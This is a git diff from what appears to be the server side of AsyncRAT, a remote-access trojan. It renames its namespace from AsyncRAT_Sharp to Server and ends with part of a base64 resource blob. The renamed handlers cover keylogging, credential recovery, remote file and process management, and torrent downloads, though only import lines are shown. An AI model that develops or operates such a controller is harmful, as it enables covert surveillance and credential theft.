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 + gg== + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.Designer.cs b/AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.Designer.cs rename to AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs index abb3d6a..0eb4650 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormTorrent.Designer.cs @@ -1,4 +1,4 @@ -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { partial class FormTorrent { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.cs b/AsyncRAT-C#/Server/Forms/FormTorrent.cs similarity index 94% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.cs rename to AsyncRAT-C#/Server/Forms/FormTorrent.cs index 630a7fe..d1456ce 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.cs +++ b/AsyncRAT-C#/Server/Forms/FormTorrent.cs @@ -1,5 +1,5 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System; using System.Collections.Generic; using System.ComponentModel; @@ -12,7 +12,7 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Forms +namespace Server.Forms { public partial class FormTorrent : Form { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.resx b/AsyncRAT-C#/Server/Forms/FormTorrent.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormTorrent.resx rename to AsyncRAT-C#/Server/Forms/FormTorrent.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs similarity index 90% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleChat.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleChat.cs index e5d1ee1..f32f3ac 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleChat.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs @@ -1,6 +1,6 @@ -using AsyncRAT_Sharp.Forms; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.Forms; +using Server.MessagePack; +using Server.Sockets; using System; using System.Collections.Generic; using System.Linq; @@ -9,7 +9,7 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleChat { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs index 31e344a..1194e95 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs @@ -1,16 +1,16 @@ -using AsyncRAT_Sharp.Forms; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.Forms; +using Server.MessagePack; +using Server.Sockets; using System; using System.Drawing; using System.IO; using System.Windows.Forms; using System.Threading; using System.Threading.Tasks; -using AsyncRAT_Sharp.Helper; +using Server.Helper; using System.Diagnostics; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleFileManager { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs similarity index 91% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs index d7195a8..d504fd2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs @@ -1,13 +1,13 @@ -using AsyncRAT_Sharp.Forms; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.Forms; +using Server.MessagePack; +using Server.Sockets; using System; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { class HandleKeylogger { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs similarity index 97% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleListView.cs index 9ecc36f..cd99f25 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs @@ -1,12 +1,12 @@ using System; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using cGeoIp; using System.Drawing; using System.Windows.Forms; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleListView { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs similarity index 97% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs index 19169a6..0c29d3c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs @@ -6,7 +6,7 @@ using System.Threading.Tasks; using System.Windows.Forms; using System.Drawing; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleLogs { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs similarity index 88% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs rename to AsyncRAT-C#/Server/Handle Packet/HandlePing.cs index 810c4e7..2301b2c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs @@ -1,9 +1,9 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System.Diagnostics; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandlePing { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs similarity index 93% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs index 1d907c7..0aee30c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs @@ -1,12 +1,12 @@ -using AsyncRAT_Sharp.Forms; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.Forms; +using Server.MessagePack; +using Server.Sockets; using System; using System.Drawing; using System.IO; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleProcessManager { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs similarity index 93% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs index 77f5af4..744a7ec 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs @@ -1,5 +1,5 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System; using System.Collections.Generic; using System.Drawing; @@ -9,7 +9,7 @@ 